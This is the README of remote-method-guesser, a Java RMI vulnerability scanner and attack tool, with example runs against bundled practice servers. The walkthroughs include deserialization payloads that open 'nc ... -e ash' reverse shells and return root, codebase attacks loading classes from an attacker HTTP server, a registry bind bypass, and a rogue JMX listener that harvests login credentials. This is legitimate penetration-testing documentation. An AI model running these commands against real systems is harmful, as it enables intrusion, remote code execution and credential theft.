Home

Awesome

Remote Method Guesser


maven CI maven CI

remote-method-guesser (rmg) is a Java RMI vulnerability scanner and can be used to identify and verify common security vulnerabilities on Java RMI endpoints.

Remote Method Guesser Example

BHUSA Arsenal 2021

remote-method-guesser was presented at Black Hat USA2021 within the Arsenal sessions. The recording of the session and the corresponding slides are publicly available and can be found using the following links:

example server ssrf server spring server

The remote-method-guesser repository contains three example servers that can be used to practice Java RMI enumeration and attacks. The rmg-example-server exposes regular RMI services that can be enumerated and exploited using remote-method-guesser. The rmg-ssrf-server exposes an HTTP service that is vulnerable to SSRF attacks and runs RMI services that are only listening on localhost. This can be used to practice with remote-method-guesser's --ssrf and --ssrf-response options. The spring-remoting-server exposes RMI interfaces created via Spring Remoting. These are a little bit different from regular Java RMI and can be used to test the associated Spring Remoting integration of remote-method-guesser. All servers are available as containers within the GitHub Container Registry:

Table of Contents


Installation


rmg is a maven project and installation should be straight forward. With maven installed, just execute the following commands to create an executable .jar file:

$ git clone https://github.com/qtc-de/remote-method-guesser
$ cd remote-method-guesser
$ mvn package

You can also use prebuild packages that are created for each release. Prebuild packages for the development branch are created automatically and can be found on the GitHub actions page.

rmg does not include ysoserial as a dependency. To enable ysoserial support, you need either specify the path to your ysoserial.jar file as additional argument (e.g. --yso /opt/ysoserial.jar) or you change the default path within the rmg configuration file before building the project.

rmg also supports autocompletion for bash. To take advantage of autocompletion, you need to have the completion-helpers project installed. If setup correctly, just copying the completion script to your ~/.bash_completion.d folder enables autocompletion.

$ cp resources/bash_completion.d/rmg ~/bash_completion.d/

Supported Operations


In the following, short examples for each available operation are presented. For a more detailed description, you should read the documentation folder that contains more detailed information on rmg and Java RMI in general. All presented examples are based on the rmg-example-server and the rmg-ssrf-server. Both of them are contained within this repository in the docker folder and can be used to practice Java RMI enumeration. You can either build the corresponding containers yourself or load them directly from the GitHub Container Registry.

[qtc@devbox ~]$ rmg -h
usage: remote-method-guesser [-h] action ...

rmg v4.0.0 - a Java RMI Vulnerability Scanner

positional arguments:
  action                  
    bind                 Binds an object to the registry thats points to listener
    call                 Regulary calls a method with the specified arguments
    codebase             Perform remote class loading attacks
    enum                 Enumerate common vulnerabilities on Java RMI endpoints
    guess                Guess methods on bound names
    known                Display details of known remote objects
    listen               Open ysoserials JRMP listener
    objid                Print information contained within an ObjID
    rebind               Rebinds boundname as object that points to listener
    roguejmx             Creates a rogue JMX listener (collect credentials)
    scan                 Perform an RMI service scan on common RMI ports
    serial               Perform deserialization attacks against default RMI components
    unbind               Removes the specified bound name from the registry

named arguments:
  -h, --help             show this help message and exit

bind, rebind and unbind

By using the bind, rebind or unbind action, it is possible to modify the available bound names within the RMI registry. This is especially useful for verifying CVE-2019-2684, which bypasses the localhost restrictions and enables remote users to perform bind operations. When using the bind or rebind action remote-method-guesser binds the javax.management.remote.rmi.RMIServerImpl_Stub RemoteObject by default, which is the RemoteObject used by jmx servers. Additionally, you need to specify the address of the corresponding TCP endpoint where the RemoteObject can be found (address where clients should connect to, when they attempt to use your bound object).

[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 11
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+] 	- legacy-service
[+] 		--> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+] 	- plain-server
[+] 		--> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]

[qtc@devbox ~]$ rmg bind 172.17.0.2 9010 127.0.0.1:4444 my-object --localhost-bypass 
[+] Binding name my-object to javax.management.remote.rmi.RMIServerImpl_Stub
[+]
[+] 	Encountered no Exception during bind call.
[+] 	Bind operation was probably successful.

[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 14
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+] 	- my-object
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: 127.0.0.1:4444 ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[+] 	- legacy-service
[+] 		--> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+] 	- plain-server
[+] 		--> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]

By using remote-method-guesser's Plugin System, it is also possible to bind custom objects to the RMI registry. To learn more about the Plugin System, please refer to the documentation folder.

call

Using remote-method-guesser's call action, you can invoke remote methods without writing any Java code. Consider the method String execute(String cmd) exists on the remote server. This method sounds promising and you may want to invoke it using a regular Java RMI call. This can be done by using the following command:

[qtc@devbox ~]$ rmg call 172.17.0.2 9010 '"wget 172.17.0.1:8000/worked"' --signature 'String execute(String cmd)' --bound-name plain-server
[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:19:06] "GET /worked HTTP/1.1" 200 -

Notice that calling remote methods does not create any output by default. To process outputs generated by the call action, you need to use remote-method-guesser's plugin system and register a ResponseHandler or use the default GenericPrint plugin. GenericPrint is inlcuded into remote-method-guesser by default and can be activated by using the --show-response option.

[qtc@devbox remote-method-guesser]$ rmg call 172.17.0.2 9010 '"id"' --signature 'String execute(String cmd)' --bound-name plain-server --show-response
[+] uid=0(root) gid=0(root) groups=0(root)

During the call action, the provided arguments are evaluated as Java expression by inserting them into the following template: new Object[]{ arg1, arg2, arg3, ... }. Therefore, you need to make sure that your provided arguments fit into that pattern. E.g. using "id" as an argument results in an error, as the argument is passed as id to remote-method-guesser and the resulting expression new Object[]{ id } is not a valid Java expression. Instead, you need to use '"id"' as this leads to new Object[]{ "id" }, which is valid.

Moreover, primitive types need to be specified in their corresponding object representation (e.g. new Integer(5) instead of 5). Otherwise they cannot be used within the Object[] array, that is created by the Java expression. During the RMI call, the corresponding arguments are used as intended and will fit your specified method signature. For more complex use cases, you can also define a custom ArgumentProvider by using remote-method-guessers plugin system.

codebase

Java RMI supports a feature called codebases, where the client and the server can specify URLs during RMI calls that may be used to load unknown classes dynamically. If an RMI server accepts a client specified codebase, this can lead to remote code execution when the client provides a malicious Java class during the RMI communication.

The codebase configuration on an RMI server can be different for the different components: Activator, DGC, Registry and Application Level. remote-method-guesser allows you to test each component individually by using either --signature <method> (application level), --component act (activator), --component dgc (distributed garbage collector) or --component reg (RMI registry) together with the codebase action.

Application Level:

[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --signature "String login(java.util.HashMap dummy1)" --bound-name legacy-service
[+] Attempting codebase attack on RMI endpoint...
[+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during login call.
[+]
[+] 	Using non primitive argument type java.util.HashMap on position 0
[+] 	Specified method signature is String login(java.util.HashMap dummy1)
[+]
[+] 	Remote class loader attempted to load dummy class 267eaee13b9e46d2ada471016d693b14
[+] 	Codebase attack probably worked :)
[+]
[+] 	If where was no callback, the server did not load the attack class ExampleClass.class.
[+] 	The class is probably known by the server or it was already loaded before.
[+] 	In this case, you should try a different classname.

[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:23:39] "GET /ExampleClass.class HTTP/1.1" 200 -
172.17.0.2 - - [30/Nov/2021 07:23:39] "GET /267eaee13b9e46d2ada471016d693b14.class HTTP/1.1" 404 -

RMI Registry:

[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component reg
[+] Attempting codebase attack on RMI Registry endpoint...
[+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during lookup call.
[+]
[+] 	Caught ClassCastException during codebase attack.
[+] 	Codebase attack most likely worked :)

[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:26:09] "GET /ExampleClass.class HTTP/1.1" 200 -

Distributed Garbage Collector:

[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component dgc
[+] Attempting codebase attack on DGC endpoint...
[+] Using class Example with codebase http://172.17.0.1:8000/ during clean call.
[+] 
[+] 	Caught ClassCastException during codebase attack.
[+] 	Codebase attack most likely worked :)

[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:26:53] "GET /ExampleClass.class HTTP/1.1" 200 -

Activator:

[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component act
[+] Attempting codebase attack on Activator endpoint...
[+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during activate call.
[+]
[+] 	Caught IllegalArgumentException during codebase attack.
[+] 	Codebase attack was probably successful :)

[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:27:13] "GET /ExampleClass.class HTTP/1.1" 200 -

enum

The enum action performs several checks on the specified Java RMI endpoint and prints the corresponding results. For a more detailed explanation on the output generated by the enum action, you can read the corresponding documentation page.

[qtc@devbox ~]$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+]   - plain-server2
[+]     --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+]         Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ff7, -3079588349672331489]
[+]   - legacy-service
[+]     --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+]         Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ffc, -2969569395601583761]
[+]   - plain-server
[+]     --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+]         Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ff8, 1319708214331962145]
[+]
[+] RMI server codebase enumeration:
[+]
[+]   - http://iinsecure.example/well-hidden-development-folder/
[+]     --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub
[+]     --> eu.tneitzel.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+]   - Caught ClassNotFoundException during lookup call.
[+]     --> The type java.lang.String is unmarshalled via readObject().
[+]     Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+]   - Caught MalformedURLException during lookup call.
[+]     --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+]     Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+]   - Caught NotBoundException during unbind call (unbind was accepeted).
[+]     Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+]   - Security Manager rejected access to the class loader.
[+]     --> The server does use a Security Manager.
[+]     Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+]   - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+]     Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enumeration:
[+]
[+]   - Caught IllegalArgumentException after sending An Trinh gadget.
[+]     Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+]   - Caught IllegalArgumentException during activate call (activator is present).
[+]     --> Deserialization allowed  - Vulnerability Status: Vulnerable
[+]     --> Client codebase enabled  - Configuration Status: Non Default

guess

When using the guess action, remote-method-guesser attempts to identify existing remote methods by sending method hashes to the remote server. This operation requires a wordlist that contains the corresponding method definitions. remote-method-guesser ships some default wordlists that are included into the .jar file during the build phase. You can overwrite wordlist locations by either modifying the rmg configuration file or by using the --wordlist-file or --wordlist-folder options. Methods with zero arguments are skipped during guessing, as they lead to real method calls on the server side. You can enable guessing on zero argument methods by using the --zero-arg switch.

[qtc@devbox ~]$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[6562 / 6562] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server2 == plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- legacy-service
[+] 		--> void logMessage(int dummy1, String dummy2)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 		--> String login(java.util.HashMap dummy1)

known

When performing the enum action, remote-method-guesser marks available bound names on the RMI registry ever as known or as unknown. This decision depends on the class that is implemented by the corresponding bound name and whether the corresponding class is contained within the known endpoint list that is contained within the remote-method-guesser repository. When a bound name is marked as known, you can use the known action on the corresponding class. Doing so returns information on the corresponding class like the available remote methods, a general description and possible vulnerabilities:

[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 5
[+] RMI registry bound names:
[+]
[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: iinsecure.example:41991 ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]

[qtc@devbox ~]$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] 	JMX Server
[+]
[+] Class Name:
[+] 	- javax.management.remote.rmi.RMIServerImpl_Stub
[+] 	- javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] 	Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] 	This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] 	method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] 	value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] 	actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] 	- String getVersion()
[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		MLet
[+]
[+] 	Description:
[+] 		MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] 		other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] 		is therefore most of the time equivalent to remote code execution.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		Deserialization
[+]
[+] 	Description:
[+] 		Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] 		method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] 		actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] 		establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter

The list of known classes, their description and the list of known vulnerabilities is far from being complete. It will hopefully grow in future and is driven by input from other users. If you encounter an RMI endpoint that implements a currently missing class and you have sufficient information (description and available methods), feel free to create an issue or pull request.

listen

Sometimes it is required to provide a malicious JRMPListener, which serves deserialization payloads to incoming RMI connections. Writing such a listener from scratch is not necessary, as it is already provided by the ysoserial project. remote-method-guesser provides a wrapper around the ysoserial implementation, which lets you spawn a JRMPListener by using the usual rmg syntax:

[qtc@devbox ~]$ rmg listen 0.0.0.0 4444 CommonsCollections6 "touch /dev/shm/test"
[+] Creating ysoserial payload... done.
[+] Creating a JRMPListener on 0.0.0.0:4444.
[+] Handing off to ysoserial...

objid

The objid action can be used to display more detailed information on an ObjID. Each RemoteObject gets assigned an ObjID when it is exported by the RMI runtime. Knowledge of the ObjID value is required to communicate with a RemoteObject, which is also the case why you usually need an RMI registry. The RMI registry contains the ObjID for each bound name and remote-method-guesser displays them during the enum action.

[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n11
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]
[+] 	- legacy-service
[+] 		--> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ffc, 625759208507801754]
[+] 	- plain-server
[+] 		--> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ff8, -6355415622579283910]

ObjID values consist out of different components. These components are displayed in human readable form when using the objid action on the corresponding ObjID:

[qtc@devbox ~]$ rmg objid '[-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]'
[+] Details for ObjID [-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]
[+]
[+] ObjNum: 		1096154566158180646
[+] UID:
[+] 	Unique: 	-734386537
[+] 	Time: 		1638254048332 (Nov 30,2021 07:34)
[+] 	Count: 		-32759

Most of the displayed information is not that useful, but the Time value can be interesting. This value contains the time when the RemoteObject was created. Therefore, it allows you to determine things like the up-time of an RMI server.

scan

Sometimes you identify services that are common to ship Java RMI components with them (JBoss, Solr, Tomcat, ...), but you do not want to perform a full portscan on the corresponding host. In these situations, the scan action can be useful. It performs a quick port scan for common RMI ports only and attempts to identify RMI services on them:

[qtc@devbox ~]$ rmg scan 172.17.0.2
[+] Scanning 112 Ports on 172.17.0.2 for RMI services.
[+]
[+] 	[HIT] Found RMI service(s) on 172.17.0.2:9010  (Registry, Activator, DGC)
[+] 	[HIT] Found RMI service(s) on 172.17.0.2:1090  (Registry, DGC)
[+] 	[119 / 119] [#############################] 100%
[+]
[+] Portscan finished.

By default, the scan actions uses a preconfigured list of common RMI ports. To customize the list of ports to scan, you can use the --ports option. This option accepts plain numbers and number ranges for port specifications. The dash character (-) can be used to reference the default port list.

[qtc@devbox ~]$ rmg scan 172.17.0.2 --ports 0-100 1000-1100 9000-9020 35000-36000 40000-45000
[+] Scanning 6225 Ports on 172.17.0.2 for RMI services.
[+]
[+] 	[HIT] Found RMI service(s) on 172.17.0.2:40393 (DGC)
[+] 	[HIT] Found RMI service(s) on 172.17.0.2:1090  (Registry, DGC)
[+] 	[HIT] Found RMI service(s) on 172.17.0.2:9010  (Registry, Activator, DGC)
[+] 	[6234 / 6234] [#############################] 100%
[+]
[+] Portscan finished.

Notice that the scan action is implemented in a simple and non reliable way. If possible, you should always perform a dedicated portscan using tools like nmap. However, the scan action can give you a quick heads-up on finding RMI ports.

roguejmx

The roguejmx actions creates a JMX listener on your system that captures credentials of incoming connections. After creating the listener, remote-method-guesser prints the ObjID value that is required to interact with it.

[qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444
[+] Statring RogueJMX Server on 172.17.0.1:4444
[+] 	--> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]

Using the bind and rebind operations you can inject this listener into an RMI registry and wait for other users connecting to your server:

[qtc@devbox ~]$ rmg bind 172.17.0.2 9010 172.17.0.1:4444 jmxrmi --bind-objid '[6633018:17cb5d1bb57:-7ff8, -8114172517417646722]' --localhost-bypass
[+] Binding name jmxrmi to javax.management.remote.rmi.RMIServerImpl_Stub
[+]
[+] 	Encountered no Exception during bind call.
[+] 	Bind operation was probably successful.

[qtc@devbox ~]$ jconsole # Connect to 172.17.0.2:9010 with credentials

Incoming connections are logged by the listener:

[qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444
[+] Statring RogueJMX Server on 172.17.0.1:4444
[+] 	--> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[+]
[+] Got incoming call for newClient(...)
[+] 	Username: admin
[+] 	Password: s3crEt!

remote-method-guesser uses the ObjID value [6633018:17cb5d1bb57:-7ff8, -8114172517417646722] by default for bind operations and the rouge JMX server. Specifying the ObjID manually as shown above is therefore not necessary. You can change the default ObjID value either via command line arguments or within remote-method-guesser's configuration file.

The rogue JMX server returns an access exception (invalid credentials) for each incoming connection by default, but you can also forward incoming connections to a different JMX instance. This makes it possible to obtain credentials from incoming client connections without disrupting any services. To forward connections, you have to specify the corresponding target as an additional argument. Targets can be specified in two different ways:

  1. The IP address and port of an RMI registry together with the bound name of the corresponding JMX instance:
[qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 --forward-host 172.17.0.2 --forward-port 9010 --forward-bound-name jmxrmi 
[+] Statring RogueJMX Server on 172.17.0.1:4444
[+] 	--> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[+] 	--> Forwarding connections to: 172.17.0.2:9010:jmxrmi
[+]
  1. The IP address and port of the JMX service itself together with it's ObjID value:
[qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 --forward-host 172.17.0.2 --forward-port 41001 --forward-objid '[-40935072:17cd9fc77c4:-7ff8, 6731522247396892423]'
[+] Statring RogueJMX Server on 172.17.0.1:4444
[+] 	--> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[+] 	--> Forwarding connections to: 172.17.0.2:41001:[-40935072:17cd9fc77c4:-7ff8, 6731522247396892423]
[+]

serial

Java RMI uses Java serialized objects within the client server communication. This makes it potentially vulnerable to deserialization attacks. These attacks can target different RMI components:

Well Known RMI Components

Whereas modern RMI servers apply deserialization filters on these well known RMI components (JEP290), older servers may still be vulnerable to deserialization attacks. remote-method-guesser allows to verify this by using the serial action, that can perform deserialization attacks on the Activator, Distributed Garbage Collector (DGC) or the RMI registry.

[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --component reg
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI Registry endpoint...
[+]
[+] 	Caught ClassCastException during deserialization attack.
[+] 	Deserialization attack was probably successful :)

[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:46209.
id
uid=0(root) gid=0(root) groups=0(root)

In case of the RMI registry, the deserialization filters may be bypassed by using the JRMPClient or the An Trinh bypass gadgets. These gadgets create an outbound RMI channel that does no longer apply deserialization filters. On this channel, deserialization attacks can be applied as usual, but both bypasses were patched in the most recent versions of Java RMI.

[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 AnTrinh 172.17.0.1:4444 --component reg 
[+] Attempting deserialization attack on RMI Registry endpoint...
[+]
[+] 	Caught javax.management.BadAttributeValueExpException during deserialization attack.
[+] 	This could be caused by your gadget an the attack probably worked anyway.
[+] 	If it did not work, you can retry with --stack-trace to see the details.

[qtc@devbox ~]$ rmg listen 172.17.0.1 4444 CommonsCollections6 'nc 172.17.0.1 4445 -e ash'
[+] Creating ysoserial payload... done.
[+] Creating a JRMPListener on 172.17.0.1:4444.
[+] Handing off to ysoserial...
Have connection from /172.17.0.2:55470
Reading message...
Sending return with payload for obj [0:0:0, 123]
Closing connection

[qtc@devbox ~]$ nc -vlp 4445
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4445
Ncat: Listening on 0.0.0.0:4445
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45429.
id
uid=0(root) gid=0(root) groups=0(root)

During it's enum action, remote-method-guesser informs you whether an Activator is present on an RMI endpoint (legacy RMI component). The default implementation for the Activation system does not implement any deserialization filters for the Activator RemoteObject. Therefore, deserialization attacks on an Activator endpoint should always work, even on most recent Java versions.

[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --component act
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on Activation endpoint...
[+]
[+] 	Caught IllegalArgumentException during deserialization attack.
[+] 	Deserialization attack was probably successful :)

[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:44673.
id
uid=0(root) gid=0(root) groups=0(root)
Application Level

Whereas modern Java RMI implementations protect well known RMI components with deserialization filters per default, custom RemoteObjects (actual RMI applications) are usually not protected. Remote methods that do not only use primitive types within their arguments can therefore be used for deserialization attacks. This blog post by Hans-Martin Münch explains this issue in more detail. remote-method-guesser can be used to easily verify such vulnerabilities. As an example, we can use the String login(java.util.HashMap dummy1) method of the remote-method-guesser's example server to perform a deserialization attack:

[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --signature 'String login(java.util.HashMap dummy1)' --bound-name legacy-service
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] 	Using non primitive argument type java.util.HashMap on position 0
[+] 	Specified method signature is String login(java.util.HashMap dummy1)
[+]
[+] 	Caught ClassNotFoundException during deserialization attack.
[+] 	Server attempted to deserialize dummy class c0ba245a659945bb93a49a3ab4b1e430.
[+] 	Deserialization attack probably worked :)

[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:35377.
id
uid=0(root) gid=0(root) groups=0(root)

More Features

remote-method-guesser includes many features that are not explained within this README.md file. Some of them are listed below:

More information on these features can be found within the documentation folder.

Docker Image


Since version v4.4.0, remote-method-guesser is also available as docker image and can be pulled from the GitHub Container Registry. For each release, there is a normal and a slim version available. Both provide a full working version of remote-method-guesser, but only the normal version ships with ysoserial included, resulting in a larger image size:

You can also build the container on your own by running the following commands:

[user@host ~]$ git clone https://github.com/qtc-de/remote-method-guesser
[user@host ~]$ cd remote-method-guesser && docker build -t rmg .

Acknowledgements


remote-method-guesser was heavily influenced by the blog posts of Hans-Martin Münch and Jake Miller. Furthermore, the rmiscout wordlist was obviously copied from the rmiscout project (as you can already tell by the different license agreement). Thanks Jake, for this awesome wordlist of remote methods collected from different GitHub repositories.

Copyright 2023, Tobias Neitzel and the remote-method-guesser contributors.